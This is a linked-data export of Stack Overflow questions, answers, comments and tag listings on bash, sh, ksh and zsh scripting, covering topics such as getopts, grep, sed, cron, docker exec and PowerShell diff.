has text: The same way you created the variable: `qsub -v INFO="$info" script.pbs`
comment on: http://stackoverflow.com/q/76616176
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134969656
has text: @ragdev updated the answer with one approach that does not require modifying `checking_file.sh`
score: 0
comment on: http://stackoverflow.com/a/76547459
type: Comment
type: AnswerComment

gitlab
tags question: http://stackoverflow.com/q/76685165
type: Tag
tag name: gitlab
tags question: http://stackoverflow.com/q/77031983
tags question: http://stackoverflow.com/q/77046907
tags question: http://stackoverflow.com/q/76901769
tags question: http://stackoverflow.com/q/77161387
tags question: http://stackoverflow.com/q/77192433
tags question: http://stackoverflow.com/q/77319360
tags question: http://stackoverflow.com/q/77487219
tags question: http://stackoverflow.com/q/77489086
tags question: http://stackoverflow.com/q/77592912
tags question: http://stackoverflow.com/q/78723984
tags question: http://stackoverflow.com/q/78748479
tags question: http://stackoverflow.com/q/78852927
tags question: http://stackoverflow.com/q/79092667

http://stackoverflow.com/comment/135174294
type: Comment
has text: `if ...; then; fi; if $? -ne 0 ; then ...; fi` is pretty convoluted. Relying on the return value of a command inside the if clause is not particularly maintainable. It might be better to write: `if [ "$age" -gt "$DAYS" ]; then if ! rm "$FILE"; then ...; fi; fi` But note that there is really no need for you to be writing your own error messages. `rm` is going to print an error message, which will then be supplemented (?) by your own "failed to remove file". (Your error messages, however, are going to the wrong stream. You should use `echo >&2 ...`)
score: 1
comment on: http://stackoverflow.com/q/76669795
type: QuestionComment

alpine-linux
tag name: alpine-linux
type: Tag
tags question: http://stackoverflow.com/q/76687757
tags question: http://stackoverflow.com/q/76944313
tags question: http://stackoverflow.com/q/77677489

http://stackoverflow.com/comment/135059914
has text: Most cron problems are either permissions or environment. Make sure your cron command is running as the user you expect, and make sure it has the environment you expect (e.g. PATH, HOME and whatever else is required).
comment on: http://stackoverflow.com/q/76602700
type: Comment
score: 5
type: QuestionComment

http://stackoverflow.com/comment/135232867
type: Comment
comment on: http://stackoverflow.com/q/76686394
has text: I mean i am trying to run in ubuntu in wsl2. As per the previous comments, i added the win32 directory to the PATH variable and now i can use the route.exe
score: 0
type: QuestionComment

http://stackoverflow.com/a/76576211
has comment: http://stackoverflow.com/comment/135023848
answers question: http://stackoverflow.com/q/76574631
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: A Perl one-liner: <url-list perl -lpE 's|\?\K.*|join"&",sort split/&/,$&|e' | sort -u After urls (stored in file url-list) have been normalised by Perl, sort -u sorts the list and discards duplicates. -l - chomp the line-ending -p - print each line of input after manipulation -E - program follows - is run on each line of input s|RE|CMD|e - replace whatever RE matches with result of executing CMD \?\K.* - regex for "everything after a literal ?". match stored in $& split RE, STRING - split string ($&) on regex (literal &) sort LIST - sort the pieces join SEPARATOR, LIST - join them up again with & as separator Could be done with gawk but probably a bit longer. POSIX awk doesn't support sorting very well.

http://stackoverflow.com/q/76620855
type: Question
tagged with: macos
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135090829
score: 1
has comment: http://stackoverflow.com/comment/135091036
has answer: http://stackoverflow.com/a/76622048
downvote count: 0
tagged with: bash
has body: How to search for substring in bash script output? If I searching in string directly it is working, but issue when searching in command output. variable="ping: test.com: Name or service not known" if "$variable" =~ "not" then echo "Failed" else echo "Success" fi This one is working. But I am trying to do this: variable=$(multipass exec genesis -- ping -c 1 test.com) if "$variable" =~ "not" then echo "Failed" else echo "Success" fi But like this is not working... Output in termninal: $ sh test3.sh ping: test.com: Name or service not known Success I am expecting to get Failed... I guess I need somehow handle ping output in variable in different way?
has title: How to search for substring in bash script output string? If I searching in string directly it is working, but issue when searching in command output
tagged with: multipass
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/135039143
type: Comment
has text: i redirected the std input/output/err to a psudoterminal
score: 0
comment on: http://stackoverflow.com/q/76560288
type: QuestionComment

variable-assignment
type: Tag
tag name: variable-assignment
tags question: http://stackoverflow.com/q/76650830
tags question: http://stackoverflow.com/q/77811450
tags question: http://stackoverflow.com/q/78721219
tags question: http://stackoverflow.com/q/78910572

http://stackoverflow.com/comment/134968628
type: AnswerComment
comment on: http://stackoverflow.com/a/76547459
score: 0
has text: is possible without modified the checking_file.sh?
type: Comment

http://stackoverflow.com/comment/134988663
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76552229
score: 0
has text: a quick follow-up: what if the replacement should be between " " ? e.g. ```write output label "ONE" ``` . I tried ```line = rplc(line,4,\"$2\")``` in your code but it reports a syntax error.

http://stackoverflow.com/comment/134964265
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76546737
has text: `mailing.sh` *should* execute first: *it* executes `checking_file.sh`, then uses the result (or as I suggested, the exit status) to decide what to do next.
type: QuestionComment

http://stackoverflow.com/comment/134961246
score: 0
has text: Thanks for the helpful input. You're absolutely right. Using the grep command with the -E flag allows for extended regular expressions, and when combined with the | operator, it allows for matching multiple terms. @MarkSetchell
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76544889

http://stackoverflow.com/comment/135138466
type: QuestionComment
type: Comment
score: 1
has text: For anyone who comes across this I found the problem, I didn't have the -e selector. I have other scripts that don't use -e that work fine, so I'm not sure when/if that changed. In any case, it was a simple fix.
comment on: http://stackoverflow.com/q/76649342

http://stackoverflow.com/q/76692218
has comment: http://stackoverflow.com/comment/135212665
has body: I wrote a bash script, how can i add a long options for example: --verbose along with -v option? My second question is what is the difference between while getopts :v and while getopts v, i've done some research and i still can't fully understand it. I have tried it with getopts but not working, also heard that getopt is not the right choice. while getopts ":v" option; do case $option in v) verbose=true;; ?) echo "Invalid option: -$OPTARG" >&2 && exit 1;; esac done
has comment: http://stackoverflow.com/comment/136306845
tagged with: bash
type: Question
linked to: http://stackoverflow.com/q/192249
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/192249
has comment: http://stackoverflow.com/comment/135211047
score: 0
has comment: http://stackoverflow.com/comment/135210986
tagged with: getopts
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135211050
linked to: http://stackoverflow.com/q/402377
has title: Bash long options getopts

http://stackoverflow.com/comment/135108936
has text: ah, guess I am a little late to the party; so busy working on it I didn't notice someone else had answered it while I was working on it.
type: Comment
comment on: http://stackoverflow.com/a/76632004
type: AnswerComment
score: 0

http://stackoverflow.com/q/76544889
has body: I'm working on a Linux system and need assistance in finding specific lines within a large text file using the grep command. The criteria for these lines are: Inclusion of either 'term1' or 'term2'. Exclusion of 'term3'. Ending with 'term4' or 'term5'. I've been trying different grep variations but can't seem to fulfill all conditions at once. Could someone help me construct the appropriate grep command? Your assistance is much appreciated!
has comment: http://stackoverflow.com/comment/134961246
type: Question
tagged with: grep
upvote count: 0
accepted answer: http://stackoverflow.com/a/76545097
has comment: http://stackoverflow.com/comment/134962459
has title: How can I use grep in Linux to find lines with multiple matching conditions in a text file?
favorite count: 0
has comment: http://stackoverflow.com/comment/134960908
has answer: http://stackoverflow.com/a/76545097
score: -1
tagged with: text-processing
has comment: http://stackoverflow.com/comment/134960976
answer count: 1
tagged with: shell
type: AnsweredQuestion
downvote count: 1

http://stackoverflow.com/comment/134973993
type: QuestionComment
score: 2
type: Comment
has text: Copy/paste your code with a first line `#!/bin/bash` into https://shellcheck.net and fix any warnings/errors flagged. Update your question here with the corrected code. Good luck.
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/q/76548917
has comment: http://stackoverflow.com/comment/134967611
has comment: http://stackoverflow.com/comment/134968054
score: 0
type: Question
tagged with: shell
answer count: 0
has title: Why setting timeout for wasmer in shell script doesn't work?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/134967707
has body: I want to set a timeout for the wasmer command timeout 5s wasmer hello.wasm the command works correctly from the command line and doesn't time out, but times out when run within a script. in command line: wuyf@tiger:~/temp/hello/target/wasm32-wasi/release$ timeout 5s wasmer hello.wasm Hello, world! wuyf@tiger:~/temp/hello/target/wasm32-wasi/release$ $? 0: command not found script run.sh: #!/bin/bash timeout 5s wasmer hello.wasm run the script: wuyf@tiger:~/temp/hello/target/wasm32-wasi/release$ ./run.sh wuyf@tiger:~/temp/hello/target/wasm32-wasi/release$ $? 124: command not found Exit code 124 means that the command timed out. why?
tagged with: timeout

http://stackoverflow.com/comment/135230525
comment on: http://stackoverflow.com/q/76703900
has text: @Paolo: The larger Python script I'm using this for is a translation of a (main) shell script calling several shell subscripts via `source` such that any variables set in the main script were also available in the subscripts. Of course, as far as I understand, this is not the case for shell scripts called from the main python script anyways, so `./` should in principle be fine here as well.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135108462
type: AnswerComment
score: 1
has text: I didn't even dare to suggest it :-)
comment on: http://stackoverflow.com/a/76631696
type: Comment

http://stackoverflow.com/a/76680404
score: 0
answers question: http://stackoverflow.com/q/76678549
type: Answer
has body: Shorten your pipeline with a little more logic in your sed. You don't need separate calls to tr and grep. sudo /usr/bin/SUSEConnect --status-text | sed -n '/Installed Products:/h; /Module$/H; /Registered/{ H; g; s/ //g; s/\n/\t/g; p; z; x; }' | column --table --separator $'\t' or, collapsed to a denser single line, sudo /usr/bin/SUSEConnect --status-text|sed -n '/Installed Products:/h; /Module$/H; /Registered/{H;g;s/ //g;s/\n/\t/g;p;z;x;}'|column -ts $'\t' To see it in action I just manually generated the output from your example: $: echo &quot; Installed Products: ------------------------------------------ Desktop Applications Module (sle-module-desktop-applications/15.2/x86_64) Registered ------------------------------------------ Server Applications Module (sle-module-server-applications/15.2/x86_64) Registered ------------------------------------------ Basesystem Module (sle-module-basesystem/15.2/x86_64) Registered ------------------------------------------ Legacy Module (sle-module-legacy/15.2/x86_64) Not Registered &quot; | sed -n '/Installed Products:/h; /Module$/H; /Registered/{ H; g; s/ //g; s/\n/\t/g; p; z; x; }' | column --table --separator $'\t' InstalledProducts: DesktopApplicationsModule Registered ServerApplicationsModule Registered BasesystemModule Registered LegacyModule NotRegistered Broken out a little - -n don't print unless I say so. /Installed Products:/h put this line in the hold buffer (wipes any previous content) /Module$/H add this line to the Hold buffer /Registered/{ open a block of commands on this line: H add to the Hold buffer g replace the pattern buffer with the hold buffer contents s/ //g remove all spaces s/\n/\t/g replace newlines with tabs p print the edited pattern buffer z zap (empty) the pattern buffer - GNU specific x exchange the pattern and hold buffers (empties the hold) }' close the code block If not using GNU sed, replace the z with s/.//g, and you might need all these commands on different lines instead of just separat…

http://stackoverflow.com/comment/135054496
score: 2
type: Comment
has text: Please read description of `linux` and `linux-kernel` tags and then remove them from your question.
comment on: http://stackoverflow.com/q/76599721
type: QuestionComment

http://stackoverflow.com/comment/135080650
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76615031
has text: How did you launch the script? Are you starting it from inside the interactive interpreter?
type: QuestionComment

http://stackoverflow.com/comment/135051686
comment on: http://stackoverflow.com/q/76597912
type: QuestionComment
type: Comment
score: 0
has text: While a manual comparison is a good exercise, that's what the `diff` utility is for. It can compare files (or all files in a pair of directories) blazingly fast and identify each byte that is changed.

http://stackoverflow.com/comment/135170172
type: AnswerComment
has text: Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
score: 0
comment on: http://stackoverflow.com/a/76636744
type: Comment

http://stackoverflow.com/comment/135127717
type: QuestionComment
type: Comment
has text: Anyhow, until you fix this you can open nano by specifying the absolute path to its executable. That's typically `/usr/bin/nano`.
score: 0
comment on: http://stackoverflow.com/q/76643341

scala
type: Tag
tags question: http://stackoverflow.com/q/76621052
tag name: scala
tags question: http://stackoverflow.com/q/77559666

http://stackoverflow.com/comment/135013642
type: Comment
score: 2
has text: `<url-list perl -F'\?\K|&' -laE 'say shift@F, join"&",sort@F' | sort -u`
comment on: http://stackoverflow.com/q/76574631
type: QuestionComment

http://stackoverflow.com/q/76697549
has body: I'm an engineer and use a mac for work. Is it possible to match case-insensitive path completion in terminal using the tab key? Example: cd desk tab -&gt; cd Desktop If you know how to do this, I would appreciate it. Execution environment Tip:Apple M2 macOS:13.0 I tried the terminal command below, but nothing changed. zstyle ':completion:*:(cd|less):*' matcher 'm:{a-z}={A-Z}' Sorry for my bad English。
has comment: http://stackoverflow.com/comment/135220446
tagged with: terminal
has title: I want to customize the display message when starting terminal on mac
score: 0
type: Question
tagged with: macos
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/135228381
type: UnansweredQuestion

ruby
type: Tag
tag name: ruby
tags question: http://stackoverflow.com/q/76579841
tags question: http://stackoverflow.com/q/76575510
tags question: http://stackoverflow.com/q/77431324
tags question: http://stackoverflow.com/q/78257612
tags question: http://stackoverflow.com/q/78203871
tags question: http://stackoverflow.com/q/78446063
tags question: http://stackoverflow.com/q/78844203
tags question: http://stackoverflow.com/q/79511191

http://stackoverflow.com/q/76548820
has title: bash execute command inside every subfolder, using the subfolder's name as part of the command, for tens of thousands of items
has answer: http://stackoverflow.com/a/76549176
score: 0
type: Question
tagged with: shell
tagged with: ubuntu
type: UnansweredQuestion
answer count: 1
has body: I really suck at this stuff. I'm trying to organize our 70k+ photo collection. I want to use exiftool to geotag each file. I've painstakenly moved all the photos into about 100 subfolders, each of those is named by its longitude, latitude. for example: /pictures/-13.84101666169794, -76.25097514822582/* (where * is an unknown number of jpg and nothing else) Let's say the command I want to run is as follows: exiftool -m -overwrite_original -GPSLatitudeRef=S -GPSLongitudeRef=W -GPSLatitude=-13.84101666169794 -GPSLongitude=-76.25097514822582 . I want to iterate over every coordinate-named folder, extract the coordinates from the folder name and apply the command to each folder, using those coordinates. If the first coordinate is a negative, then GPSLatitudeRef has to be S. If positive, it changes to N. Similar for E/W for longitude. This would take me forever to figure out, but I'm hoping it is trivial for someone willing to help :) I don't want to screw it up. I have backups, of course, but just copying this amount of files to try again takes over half an hour! Note: for my case, there are no further nested subfolders, so recursing further down is not necessary. If it matters, the number of digits in the coordinate names to the right of the decimals are consistent but there could be 1, 2 or 3 digits to the left (plus, of course, the minus-sign or not)
tagged with: bash

http://stackoverflow.com/comment/134979728
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76550686
score: 0
has text: It is unknown command ! ```$awk --version Unknown option "--version" Usage: awk [-f scriptfile] [-Fc] [-v var=val] [script] [var=val ...] [file ...]```

http://stackoverflow.com/comment/134974768
has text: Also make sure you don't have CRLF line endings: the shell may be complaining about `then\r`
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/comment/134968820
type: QuestionComment
comment on: http://stackoverflow.com/q/76549287
type: Comment
score: 0
has text: you can use tools like [tag:expect] (for Tcl) or [tag:pexpect] (for Python). or you can try my [sexpect](https://github.com/clarkwang/sexpect) if you prefer shell scripts.

http://stackoverflow.com/a/76605081
score: 1
type: Answer
answers question: http://stackoverflow.com/q/76599721
has body: The line following a block style literal scalar indicator (|) should be indented, unless that scalar is in itself a YAML document. Without that indentation the YAML parser would not know when the literal scalar ends: data: ex1.sh: | #!/bin/bash -x . /shellscriptloc/ex2.sh ... ... ... ex2.sh: | &lt;no bin bash&gt;
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/135148259
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76645511
has text: so it can't ignore which is not matching and look for that is matching? since my file is big so I have given small subset which is consistent
type: QuestionComment

http://stackoverflow.com/comment/135233794
has text: Thank you everyone for the details, that helped!
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76699173
type: Comment

http://stackoverflow.com/q/76601045
score: 0
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has title: How to use dates in comparison operators
tagged with: sh
has comment: http://stackoverflow.com/comment/135059045
has body: If I have the following two variables, how can I use them in a comparison operator? EX: -ge- OR -lt in an IF statement stating if one date is greater or less than the other? startdate=`date -r log.txt` enddate=`date -r logfiletest.txt` echo $startdate Tue Apr 25 13:07:44 MDT 2023 echo $enddate Tue Jun 20 09:34:04 MDT 2023 Thank you
tagged with: bash
linked to: http://stackoverflow.com/q/5895159
has comment: http://stackoverflow.com/comment/135065138
has comment: http://stackoverflow.com/comment/135057288
duplicate of: http://stackoverflow.com/q/5895159

http://stackoverflow.com/comment/135238615
comment on: http://stackoverflow.com/a/76704102
type: Comment
type: AnswerComment
score: 0
has text: @user1934428 POSIX specifies a minimum set of features that a shell must support to be considered compliant; most POSIX shells *also* support extensions beyond the basics that POSIX requires. `source` is such an extension (see [this](https://wiki.ubuntu.com/DashAsBinSh), especially section 3, for some other common ones). I think `source` originated in ksh, and from there was copied by bash and zsh. BTW, zsh is *not* POSIX-compliant by default, since it disables several POSIX-mandated features that've turned out to be more trouble than they're worth.

http://stackoverflow.com/comment/135120368
type: QuestionComment
has text: @apokryfos - If you're familiar with Laravel...tinker is a way to invoke a command line session to make use of your app code directly. So, if you look at the invocation I showed...I am invoking Laravel's tinker and then passing it a PHP script to run and wanted to pass the PHP script a numeric argument.
score: 0
comment on: http://stackoverflow.com/q/76633273
type: Comment

http://stackoverflow.com/comment/135228412
type: QuestionComment
has text: The name of an EXE file does not really tell you a lot. The question is, what exactly did you install when creating these executables?
score: 0
comment on: http://stackoverflow.com/q/76692290
type: Comment

http://stackoverflow.com/comment/135140455
has text: Do you want `$muCH4_1` to appear in the output or do you want a value that the variable `$muCH4_1` holds to be in the output? Please show the expected output
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76650830
score: 0

http://stackoverflow.com/a/76699355
score: 0
answers question: http://stackoverflow.com/q/76690391
type: Answer
has body: a bit messy : mawk '$__ == "privateExponent:" && (_ = NR + 10)^(NF = __) || NR <_, NR<_ || _ = !_' FS=':' 1 2 1 08:da:6c:b0:c9:74:e3:a4:f8:34:99:08:8d:0f:80: 3 2 89:0e:1e:2a:b9:76:31:b5:8c:f4:45:c6:fc:2c:a1: 4 3 9d:02:1e:b0:ca:e7:10:f8:83:18:22:9b:c7:d1:f1: 5 4 68:ad:bb:59:b6:17:49:3d:73:44:04:9c:a7:b3:09: 6 5 ee:77:2c:3d:c2:58:18:5a:e1:25:c9:0a:bc:b1:74: 7 6 e8:6c:e1:42:d2:36:5f:80:64:97:00:3b:b6:5c:4c: 8 7 28:7e:a1:26:d2:47:19:9f:d2:64:1b:24:88:54:ab: 9 8 37:14:74:38:c3:46:08:0f:4c:6d:ec:4e:03:45:1f: 10 9 fc:e7:db:e4:81:3c:91:e1

http://stackoverflow.com/comment/134988345
comment on: http://stackoverflow.com/a/76552229
has text: The script works as I needed. Thank you so much for your help and dedication. You are a true genius.
type: Comment
score: 0
type: AnswerComment

electron
tag name: electron
type: Tag
tags question: http://stackoverflow.com/q/76679712

http://stackoverflow.com/comment/135127568
type: Comment
has text: Set a valid PATH, or at least remove whatever you added to your dotfiles that's setting a bad one. Also, note that SO is only for questions about *writing software*.
score: 0
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment

http://stackoverflow.com/comment/135093488
type: Comment
comment on: http://stackoverflow.com/q/76622495
has text: defined in the .zshrc using the export command
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135206941
comment on: http://stackoverflow.com/q/76689787
has text: Hi @Grobu, I am just trying to extract the modulus output, it is fine in any format.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/76683161
score: -1
tagged with: linux
has answer: http://stackoverflow.com/a/76683944
tagged with: bash
type: Question
has body: I have a variable that retrieves value as below: val = $(curl command ...) val returns an object which looks as {"parm1":"****","data":"adfsdfsdaf"} I want to add a validation for two conditions: val is either an object or val.data is null I want to print a message "data not parsed correctly" when val is an object such as {"parm1":"****","data":"adfsdfsdaf"} I want to print a message "data is null" when val is an null. I have written below logic for it but it is not looking correct: if [[ ${val} == null ]]; then echo "data not parsed correctly" exit 1 The correct value of val is adfsdfsdaf when the script should not exit.
accepted answer: http://stackoverflow.com/a/76683944
type: AnsweredQuestion
downvote count: 1
tagged with: curl
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135199528
answer count: 1
favorite count: 0
tagged with: jq
has title: Adding a check to find if returned value is not an object

http://stackoverflow.com/comment/135229607
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76703360
type: Comment
has text: Please show us your attempts.

http://stackoverflow.com/comment/135233445
comment on: http://stackoverflow.com/a/76704102
type: Comment
type: AnswerComment
has text: The explanation is correct, of course, but I find confusing, that in the error message, we see that in both offending cases, the error is reported by `sh`. It is clear that `sh` is executed here (since no explicit shell has been provided in the Python code), but with POSIX shell, the `source` command should be rejected. AFIK, POSIX only defines the command `.`, but not `source`, which is a bash extension.
score: 0

http://stackoverflow.com/comment/135140428
score: 0
type: QuestionComment
has text: please update your question and provide your script tested
type: Comment
comment on: http://stackoverflow.com/q/76650830

http://stackoverflow.com/a/76559005
answers question: http://stackoverflow.com/q/76558797
downvote count: 0
upvote count: 1
score: 1
has body: With bash and its special variable SECONDS: SECONDS=0 read -t 2 < /dev/ttyS0 s=$SECONDS if $s -lt 2 ; then echo "less than 2 seconds"; else echo "$s seconds"; fi
type: Answer

http://stackoverflow.com/a/76694529
answers question: http://stackoverflow.com/q/76694496
downvote count: 0
type: AcceptedAnswer
has body: What's Happening Shells split compound commands into simple commands before running them. Thus, your command line ends up being equivalent to: { docker exec postgres-local-15 gunzip &lt; /Users/me/Downloads/dvdrental.tar; } | { pg_restore -U postgres -F t -d dvdrental; } Notice how docker exec is grouped into the simple command with the gunzip, while pg_restore is in a separate group. As this implies, the docker exec only applies to the gzip (which doesn't need to be run inside Docker in the first place), instead of applying to pg_restore. How To Fix It (Option 1: Moving Only pg_restore) You need to run pg_restore in Docker. You don't need to run gunzip in Docker. Thus, you want the docker exec to come before the pg_restore, not before the gunzip. gunzip &lt;/Users/me/Downloads/dvdrental.tar | docker exec postgres-local-15 pg_restore -U postgres -F t -d dvdrental How To Fix It (Option 2: Moving The Whole Pipeline) You can also run the whole pipeline in Docker, by starting a shell inside Docker that runs that pipeline. docker exec postgres-local-15 \ sh -c 'gunzip | pg_restore -U postgres -F t -d dvdrental' \ &lt;/Users/me/Downloads/dvdrental.tar Notice how the redirection is outside the quotes; this causes it to be run by your local shell before Docker is run, so it gets the file from your regular filesystem rather than looking for it inside the container.
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/76694496
type: Answer

http://stackoverflow.com/comment/135140621
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76648067
has text: It exits, because it runs on EOF in stdin. Without modifying `name.py` itself, I suggest that you use [expect](https://www2.lib.uchicago.edu/keith/tcl-course/topics/expect.html) for this task. `expect` has a command `interact`, which hands over control to interactive use.
type: QuestionComment

http://stackoverflow.com/comment/135080543
score: 0
comment on: http://stackoverflow.com/a/76588449
type: Comment
has text: This is not really true. This sets a make variable, which will be in effect for the entire (remainder of) the makefile execution. It doesn't set (as requested in the comments above) a variable only for the same rule. Of course setting it for the entire rest of the makefile is a superset of setting it only for the same rule, so this will work but it does a lot more than requrested.
type: AnswerComment

ksh
tag name: ksh
tags question: http://stackoverflow.com/q/76669795
tags question: http://stackoverflow.com/q/76579350
tags question: http://stackoverflow.com/q/76591306
type: Tag
tags question: http://stackoverflow.com/q/76944076
tags question: http://stackoverflow.com/q/76924061
tags question: http://stackoverflow.com/q/77216118
tags question: http://stackoverflow.com/q/77139013
tags question: http://stackoverflow.com/q/77353642
tags question: http://stackoverflow.com/q/77436963
tags question: http://stackoverflow.com/q/77530990
tags question: http://stackoverflow.com/q/77665898
tags question: http://stackoverflow.com/q/77771972
tags question: http://stackoverflow.com/q/77840984
tags question: http://stackoverflow.com/q/78058866
tags question: http://stackoverflow.com/q/78382519
tags question: http://stackoverflow.com/q/78308496
tags question: http://stackoverflow.com/q/78440620
tags question: http://stackoverflow.com/q/78721099
tags question: http://stackoverflow.com/q/78790623
tags question: http://stackoverflow.com/q/79208815
tags question: http://stackoverflow.com/q/79239118
tags question: http://stackoverflow.com/q/79378256
tags question: http://stackoverflow.com/q/79365707
tags question: http://stackoverflow.com/q/79327287

http://stackoverflow.com/comment/134964301
type: QuestionComment
type: Comment
has text: I'm don't want execute again checking_file.sh(first running) while running mailing.sh(running last). just i want to use the echo result of the of the checking_file.sh. here i needed to use chmod? how i use exit status here?
comment on: http://stackoverflow.com/q/76546737
score: 0

http://stackoverflow.com/comment/135078792
has text: Thank you all, especially @BenjaminW. Ben, thank you for the input you solved my issue! Thank you all again!
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76613778

http://stackoverflow.com/comment/135091901
type: Comment
comment on: http://stackoverflow.com/q/76621621
type: QuestionComment
score: 0
has text: Try using `declare` instead of `eval`

http://stackoverflow.com/comment/135118901
type: QuestionComment
comment on: http://stackoverflow.com/q/76638009
type: Comment
score: 0
has text: Are you using `bash` or `zsh`? Or are you trying to use `bash` syntax in `zsh`?

http://stackoverflow.com/comment/135203509
score: 0
has text: `get-value` is missing `}`? `As you can see it is not` I cannot see that - the output has `Value is ### dog`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76687885

http://stackoverflow.com/comment/135210986
score: 0
has text: https://linux.die.net/man/1/getopt supports long options
type: QuestionComment
comment on: http://stackoverflow.com/q/76692218
type: Comment

http://stackoverflow.com/comment/134974181
score: 0
comment on: http://stackoverflow.com/a/76549806
type: Comment
type: AnswerComment
has text: strangely, your new script does not generate any out file in Korn shell. ```$ head Out* head: out: Access is denied.```

http://stackoverflow.com/a/76567280
score: 5
upvote count: 5
has body: In Windows PowerShell, diff is an alias for the Compare-Object cmdlet. Compare-Object is designed to compare 2 collections - so if you want to compare the contents of two text files, line-by-line, you'll need to read the file contents into memory and pass it to Compare-Object as arguments. To read a text file line-by-line, use Get-Content: Compare-Object (Get-Content file1) (Get-Content directory/file2) By default, Compare-Object doesn't enforce strict sequential equality, so two files with the same set of lines in different order will appear "equal". To get around this, pass an argument of 0 to the SyncWindow parameter: Compare-Object (Get-Content file1) (Get-Content directory/file2) -SyncWindow 0
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/76566816

http://stackoverflow.com/comment/135222554
has text: Why do you "need to close StandardInput". If you just want to ensure your input it sent, you can flush the input stream for the "cmd.exe".
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76698598
type: QuestionComment

http://stackoverflow.com/comment/134964225
score: 0
type: QuestionComment
has text: Consider using exit statuses, not text output, to determine if an email should be sent or not.
comment on: http://stackoverflow.com/q/76546737
type: Comment

http://stackoverflow.com/comment/135070267
type: Comment
type: AnswerComment
has text: @CharlesDuffy Still true. The current perl philosophy with respect to the standard library is to try to keep it minimal(ish) instead of going full on batteries included.
score: 0
comment on: http://stackoverflow.com/a/76608578

http://stackoverflow.com/comment/134974153
comment on: http://stackoverflow.com/a/76552229
has text: this is a smart solution. I changed my script based on your idea, but it does not make the replacement. Please see the edit on the original statement.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76561518
has body: Actually you can don with pgrep function which can check the running process. So here I added while true logic so that once process not found in running state at that time else condition will work and process will restart. while true; do if pgrep -f myscript &gt;/dev/null; then echo &quot;'myscript' is running well...&quot; sleep 1 else echo &quot;'myscript' is not running so restarting...&quot; &gt;&amp;2 # Kill the previous instance pkill -f -x myscript sleep 1 fi done
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76561501
has comment: http://stackoverflow.com/comment/134988864
accepted answer of: http://stackoverflow.com/q/76561501
has comment: http://stackoverflow.com/comment/134988904
type: AcceptedAnswer

http://stackoverflow.com/comment/134968938
score: 0
type: Comment
has text: i tried pexpect but it's not working
type: QuestionComment
comment on: http://stackoverflow.com/q/76549287

http://stackoverflow.com/comment/134973416
score: 0
has text: Almost exact duplicate? [Update the second line after the matched row with reference values](https://stackoverflow.com/questions/76444752/update-the-second-line-after-the-matched-row-with-reference-values)
comment on: http://stackoverflow.com/q/76549073
type: Comment
type: QuestionComment

http://stackoverflow.com/q/76648067
has comment: http://stackoverflow.com/comment/135140621
has answer: http://stackoverflow.com/a/76648115
score: 0
has body: Here's my interactive program: import sys print ("what's your name?") sys.stdout.write("> ") sys.stdout.flush() for line in sys.stdin: line = line.rstrip() if line == "q": break print ("hello", line) sys.stdout.write("> ") sys.stdout.flush() it runs in a loop: $ python3 name.py what's your name? > tom hello tom > john hello john what I want is to initially pass input, name in this case, but to be able to further interact with the program. what I have so far is this: #! /bin/bash echo "mr. big" | python3 name.py however this runs the program and immediately exits: $ ./script what's your name? > hello mr. big > $
tagged with: shell
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76648115
has title: Pass initial value using script but keep interacting in terminal with a program
tagged with: bash
type: Question

http://stackoverflow.com/comment/134967707
type: Comment
score: 0
has text: I have redescribed my question, and I hope it is more helpful to understand.
comment on: http://stackoverflow.com/q/76548917
type: QuestionComment

http://stackoverflow.com/comment/135030431
has text: May I know do you want to navigate to the LoginPage when clicking the hamburger icon? As by design, when pressing the hamburger icon, or swiping from the left, displays the flyout. See: https://learn.microsoft.com/en-us/dotnet/maui/fundamentals/shell/create
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76579691
score: 0

http://stackoverflow.com/comment/135092408
type: Comment
score: 3
comment on: http://stackoverflow.com/q/76621052
has text: Why not just configure your logging library to write to a file instead?
type: QuestionComment

http://stackoverflow.com/comment/135222377
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76699173
has text: ...that said, using `watch` is not ideal in the first place; it's a _lot_ more efficient if you have a long-running copy of `awk` and a long-running shell (and maybe also a long-running iostat), and have the shell rerun _only_ `ls` over and over instead of restarting the shell _and_ the copy of iostat _and_ the copy of awk every quarter second; the cost of starting new processes adds up.

xml-namespaces
type: Tag
tags question: http://stackoverflow.com/q/76697224
tag name: xml-namespaces
tags question: http://stackoverflow.com/q/78552188

